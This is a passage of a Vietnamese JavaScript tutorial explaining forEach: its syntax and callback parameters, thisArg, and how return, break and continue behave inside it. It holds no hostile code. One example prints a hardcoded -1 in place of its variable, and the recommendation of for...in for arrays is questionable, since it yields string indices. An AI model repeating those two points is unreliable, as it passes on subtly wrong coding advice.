bằng lới như sau: <em>Với mỗi phần tử trong mảng <code>numbers</code>, mình lấy nó ra và cộng dồn với biến sum. Kết quả thu được, sẽ ghi ra console.</em></p> <p>Nếu so sánh với cách làm trước thì cách này rõ ràng là dài hơn. Tuy nhiên, đây chỉ là một ví dụ cơ bản, nên mình sẽ không bàn về <strong>độ dài, ngắn</strong> của code.</p> <p>Vấn đề nên quan tâm trước tiên đó là: <strong>code-đọc-dễ-hiểu</strong>.</p> <p>Theo quan điểm cá nhân mình, việc sử dụng hàm <strong>forEach</strong> giúp code gần giống với ngôn ngữ tự nhiên hơn. Quan điểm của bạn về vấn đề này thế nào?</p> <h2 id="giới-thiệu-hàm-foreach-trong-javascript" style="position:relative;"><a href="#gi%E1%BB%9Bi-thi%E1%BB%87u-h%C3%A0m-foreach-trong-javascript" aria-label="giới thiệu hàm foreach trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giới thiệu hàm forEach trong JavaScript</h2> <p>Hàm forEach là gì? Hay vòng lặp forEach trong JavaScript là gì?</p> <p>Trả lời: <strong>forEach</strong> là một phương thức có sẵn của <a href="/sap-xep-mang-trong-javascript/">array</a>, để duyệt qua mỗi phần tử của mảng và thực hiện một hành động nào đó.</p> <h3 id="cú-pháp" style="position:relative;"><a href="#c%C3%BA-ph%C3%A1p" aria-label="cú pháp permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cú pháp</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">arr<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token function">callback</span><span class="token punctuation">(</span><span class="token parameter">currentValue<span class="token punctuation">,</span> index<span class="token punctuation">,</span> array</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// code xử lý</span> <span class="token punctuation">}</span><span class="token punctuation">[</span><span class="token punctuation">,</span> thisArg<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h3 id="giải-thích" style="position:relative;"><a href="#gi%E1%BA%A3i-th%C3%ADch" aria-label="giải thích permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giải thích</h3> <ul> <li><code>callback</code>: Hàm callback là hàm để thực hiện với mỗi phần tử của mảng, bao gồm 3 tham số: <ul> <li><code>currentValue</code>: phần tử hiện tại đang được xử lý của array.</li> <li><code>index</code>: chỉ số của phần tử hiện tại đang được xử lý của array.</li> <li><code>array</code>: mảng hiện tại đang gọi hàm forEach.</li> </ul> </li> <li><code>thisArg</code>: giá trị được sử dụng như là <a href="/phuong-thuc-object-va-this-trong-javascript/"><code>this</code></a> - tham chiếu tới đối tượng khi thực hiện hàm <code>callback</code>.</li> </ul> <p><strong>Chú ý</strong>:</p> <ul> <li>Nếu <code>thisArg</code> bị bỏ qua thì mặc định giá trị đó là <code>undefined</code>.</li> <li>Bạn có thể bỏ qua tên hàm <code>callback</code>.</li> </ul> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line">arr<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">currentValue<span class="token punctuation">,</span> index<span class="token punctuation">,</span> array</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> <span class="token comment">// code xử lý</span> <span class="token punctuation">}</span><span class="token punctuation">[</span><span class="token punctuation">,</span> thisArg<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h3 id="ví-dụ-in-ra-nội-dung-của-mảng" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-in-ra-n%E1%BB%99i-dung-c%E1%BB%A7a-m%E1%BA%A3ng" aria-label="ví dụ in ra nội dung của mảng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ in ra nội dung của mảng</h3> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">printContentArray</span><span class="token punctuation">(</span><span class="token parameter">array</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> array<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token function">print</span><span class="token punctuation">(</span><span class="token parameter">element</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>element<span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="token punctuation">}</span> <span class="token function">printContentArray</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">1 3 5</code></pre></div> <h3 id="ví-dụ-sử-dụng-thisarg" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-s%E1%BB%AD-d%E1%BB%A5ng-thisarg" aria-label="ví dụ sử dụng thisarg permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ sử dụng <code>thisArg</code></h3> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Counter</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>sum <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>count <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function-variable function">add</span> <span class="token operator">=</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">array</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> array<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>sum <span class="token operator">+=</span> item<span class="token punctuation">;</span> <span class="token operator">++</span><span class="token keyword">this</span><span class="token punctuation">.</span>count<span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// this chính là đối tượng tạo new Counter</span></span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">const</span> obj <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Counter</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> obj<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">9</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">.</span>count<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">.</span>sum<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 16</span></code></pre></div> <h2 id="ưu-nhược-điểm-của-việc-sử-dụng-foreach" style="position:relative;"><a href="#%C6%B0u-nh%C6%B0%E1%BB%A3c-%C4%91i%E1%BB%83m-c%E1%BB%A7a-vi%E1%BB%87c-s%E1%BB%AD-d%E1%BB%A5ng-foreach" aria-label="ưu nhược điểm của việc sử dụng foreach permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ưu, nhược điểm của việc sử dụng forEach</h2> <p>Bất cứ thứ gì cũng có hai mặt, <strong>forEach</strong> JavaScript cũng không ngoại lệ. Sau đây là một số ưu, nhược điểm của phương thức <code>forEach</code>:</p> <h3 id="ưu-điểm" style="position:relative;"><a href="#%C6%B0u-%C4%91i%E1%BB%83m" aria-label="ưu điểm permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ưu điểm</h3> <ul> <li>Code rõ ràng, gần với ngôn ngữ tự nhiên.</li> <li>Trong nhiều trường hợp sẽ ngắn gọn hơn việc sử dụng vòng lặp <code>for</code> hay <code>while</code>.</li> </ul> <h3 id="nhược-điểm" style="position:relative;"><a href="#nh%C6%B0%E1%BB%A3c-%C4%91i%E1%BB%83m" aria-label="nhược điểm permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nhược điểm</h3> <ul> <li>Code thường sẽ chạy chậm hơn so với việc sử dụng vòng lặp (tuy nhiên không đáng kể).</li> <li>Không giống các ngôn ngữ lập trình khác như C/C++, Java (hầu như chỉ sử dụng vòng lặp).</li> </ul> <p>Trên đây là một số ưu, nhược điểm của việc sử dụng <code>forEach</code>. Mình không khuyên bạn <strong>nên hay không nên</strong> sử dụng phương thức này.</p> <p>Đây chỉ đơn giản là một cách thức để duyệt mảng, bạn có thể sử dụng nó hoặc bạn chỉ cần sử dụng vòng lặp.</p> <blockquote> <p>It's the choice.</p> </blockquote> <h2 id="một-số-từ-khóa-trong-vòng-lặp-foreach-js" style="position:relative;"><a href="#m%E1%BB%99t-s%E1%BB%91-t%E1%BB%AB-kh%C3%B3a-trong-v%C3%B2ng-l%E1%BA%B7p-foreach-js" aria-label="một số từ khóa trong vòng lặp foreach js permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một số từ khóa trong vòng lặp forEach JS</h2> <p>Khi so sánh với các <strong>vòng lặp khác, ngôn ngữ lập trình khác</strong>, bạn sẽ thấy một số từ khóa hay sử dụng trong vòng lặp như: <code>return</code>, <code>break</code> và <code>continue</code>.</p> <p>Câu hỏi đặt ra là liệu những từ khóa này có sử dụng được trong vòng lặp forEach JavaScript hay không? Cách sử dụng của chúng có giống hay không?</p> <p>Sau đây là câu trả lời.</p> <h3 id="từ-khóa-return-trong-foreach" style="position:relative;"><a href="#t%E1%BB%AB-kh%C3%B3a-return-trong-foreach" aria-label="từ khóa return trong foreach permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Từ khóa return trong forEach</h3> <p>Từ khóa <code>return</code> dùng để dừng lại một hàm và trả về giá trị từ hàm đó.</p> <p>Giả sử, bạn cần viết một hàm tìm <strong>vị trí của số chẵn đầu tiên</strong> trong một mảng. Nếu không tìm thấy thì trả về giá trị <code>-1</code>.</p> <p>Sau đây là code sử dụng <strong>vòng lặp for</strong> thông thường:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">findFirstEvenIndex</span><span class="token punctuation">(</span><span class="token parameter">arr</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> arr<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">%</span> <span class="token number">2</span> <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token keyword">return</span> i<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Ví dụ</span> <span class="token keyword">const</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">const</span> ret <span class="token operator">=</span> <span class="token function">findFirstEvenIndex</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"ret="</span><span class="token punctuation">,</span> ret<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ret= 1</span></code></pre></div> <p>Chuyển đoạn code trên sang forEach như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">findFirstEvenIndex</span><span class="token punctuation">(</span><span class="token parameter">arr</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> arr<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">item<span class="token punctuation">,</span> i</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">%</span> <span class="token number">2</span> <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token keyword">return</span> i<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span></span><span class="token punctuation">}</span> <span class="token comment">// Ví dụ</span> <span class="token keyword">const</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">const</span> ret <span class="token operator">=</span> <span class="token function">findFirstEvenIndex</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"ret="</span><span class="token punctuation">,</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ret= -1</span></code></pre></div> <p>Tại sao kết quả lại là <strong>-1</strong>?</p> <p>Tại vì từ khóa <code>return</code> trong forEach chỉ có tác dụng để <strong>thoát khỏi hàm callback</strong> bên trong forEach mà thôi. Do đó, kết quả của hàm trên là giá trị của câu lệnh <code>return -1</code> cuối cùng.</p> <p>Dể giải quyết bài toán này, mình khuyên bạn không nên dùng <code>forEach</code>. Thay vào đó bạn có thể dùng vòng lặp for thông thường như trên, hoặc sử dụng vòng lặp <strong>for...in</strong> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">findFirstEvenIndex</span><span class="token punctuation">(</span><span class="token parameter">arr</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token keyword">in</span> arr<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">%</span> <span class="token number">2</span> <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token keyword">return</span> i<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Ví dụ</span> <span class="token keyword">const</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">const</span> ret <span class="token operator">=</span> <span class="token function">findFirstEvenIndex</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"ret="</span><span class="token punctuation">,</span> ret<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ret= 1</span></code></pre></div> <p><strong>Chú ý:</strong> vòng lặp <code>for...in</code> chỉ nên dùng với <strong>array</strong>, không nên sử dụng với đối tượng <code>array-like</code>.</p> <h3 id="từ-khóa-break-trong-foreach" style="position:relative;"><a href="#t%E1%BB%AB-kh%C3%B3a-break-trong-foreach" aria-label="từ khóa break trong foreach permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Từ khóa break trong forEach</h3> <p>Từ khóa <code>break</code> thường dùng để thoát khỏi <a href="/cau-lenh-switch-case-trong-javascript/">câu lệnh <code>switch</code></a> hoặc thoát khỏi vòng lặp (<code>for</code>, <code>while</code>, <code>do...while</code>, <code>for...in</code>).</p> <p>Ví dụ đoạn code sau dùng để thoát khỏi vòng lặp for khi <code>i</code> bằng <code>3</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> arr<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>i <span class="token operator">===</span> <span class="token number">3</span><span class="token punctuation">)</span> <span class="token keyword">break</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"i="</span><span class="token punctuation">,</span> i<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* Kết quả trên console: i= 0 i= 1 i= 2 */</span></code></pre></div> <p>Nếu sử dụng từ khóa <code>break</code> với forEach thì sao?</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">;</span> arr<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">item<span class="token punctuation">,</span> i</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>i <span class="token operator">===</span> <span class="token number">3</span><span class="token punctuation">)</span> <span class="token keyword">break</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"i="</span><span class="token punctuation">,</span> i<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* Kết quả trên console: Uncaught SyntaxError: Illegal break statement */</span></code></pre></div> <p>Đúng vậy, bạn sẽ bị lỗi cú pháp <strong>Illegal break statement</strong> vì từ khóa break là không hợp lệ với forEach JS.</p> <p>Nghĩa là bạn không thể sử dụng từ khóa break với forEach. Thay vào đó bạn có thể sử dụng vòng lặp <strong>for</strong> như trên hoặc dùng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/some"><code>arr.some()</code></a> để thay thế:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">;</span> arr<span class="token punctuation">.</span><span class="token function">some</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">item<span class="token punctuation">,</span> index</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>index <span class="token operator">===</span> <span class="token number">3</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"i="</span><span class="token punctuation">,</span> index<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* Kết quả trên console: i= 0 i= 1 i= 2 */</span></code></pre></div> <h3 id="từ-khóa-continue-trong-foreach" style="position:relative;"><a href="#t%E1%BB%AB-kh%C3%B3a-continue-trong-foreach" aria-label="từ khóa continue trong foreach permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 